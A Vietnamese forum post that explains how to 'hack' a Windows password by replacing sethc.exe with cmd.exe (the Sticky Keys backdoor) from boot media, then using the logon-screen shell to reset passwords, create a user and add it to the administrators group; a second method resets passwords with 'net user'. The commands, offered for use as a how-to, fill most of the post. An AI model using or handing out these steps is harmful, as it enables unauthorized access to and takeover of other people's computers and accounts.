Lấy pass Window không dùng đĩa hiren boot

Lấy pass Window không dùng đĩa hiren boot
Chào tất cả mọi người, nay mình mới sưu tầm được bài viết thấy hay hay post lên cho anh em tham khảo " hack password window".

Nếu các bạn có tham khảo tài liệu về window thì chắc có lẽ các bạn sẽ biết Microsoft viết ra hệ điều hành không chỉ để cho những người lành lặng như chúng ta mà còn dành cho người khuyết tật nữa đó là tính năng "Accessibility Option" trong control panel. Lợi dụng tính năng này các hacker đã xâm nhập vào hệ thống một cách dễ dàng mà không cần password người sử dụng. Sau đây tôi xin hướng dẫn cách làm:

Mặc định khi vào màn hình logon chúng ta nhấn SHIFT 5 lần thì win sẽ gọi file sethc.exe để chạy chương trình Stickykey. Bây giờ chúng ta sẽ thay thế file này thành cmd.exe để chạy chương trình commander. Ta thực hiện như sau:

Đầu tiên ta phải vào DOS trước (dùng đĩa boot ngoài dos thường sử dụng Hiren boot). Vào được dos ta gõ lệnh

cd C:\windows\system32 nhấn Enter

'lệnh này để chuyển đến thư mục chứa file sethc.exe'

tiếp tục gõ lệnh

rename sethc.exe sethc.bat nhấn Enter

' lệnh này dùng để đổi tên file sethc.exe thành sethc.bat chú ý: chúng ta có thể đổi file sethc.exe thành file bất kỳ miễn sao dễ nhớ để sau này khôi phục lại là được'.
gõ tiếp lệnh

copy cmd.exe sethc.exe /y

' lệnh này để thay thế file sethc.exe bằng cmd.exe'

Đến đây xem như chúng ta đã thành công 50%
khởi động lại máy đến màn hình đăng nhập ta nhấn SHIFT 5 lần để gọi cmd

Bây giờ có các lệnh cho chúng ta lựa chọn
nếu muốn xóa pass Admin thì ta gõ lệnh

net user administrator nhấn Enter

nếu muốn tạo user mới ta gõ lệnh

net user tenuser pass /add nhấn Enter ( tenuser tùy thích ví dụ admin....,pass có thể nhập hoặc để trống)nhưng đây chỉ là một user bình thường nếu ta muốn nắm trọn quyền trên máy này ta gõ lệnh

net localgroup administrators tenuser /add nhấn Enter.
bây giờ chúng ta có thể sử dụng máy tính với quyền quản trị cao nhất.

P/S: Thấy hay thì mình post lên cho các bạn tham khảo thui chứ mình chưa vọc lần nào, kính mời các vọc sĩ tại gia trổ tài nào, hehe

Thêm cho các bạn vài cách nữa
vào Start --> Run --> nhập cmd
sau đó gõ lệnh net users để xem tất cả tên user trên máy tính, kể cả user Admin
sau khi xem xong, nhập tiếp lệnh net user tên user cần phá pass *
VD : net user HL *
HL là tên user
sau đó nhấn Enter thêm 2 lần nữa, thế là xong ! nhanh gọc và hiệu quả ! user đã bị phá luôn cái pass, coi như là đã bẻ được cái ổ khóa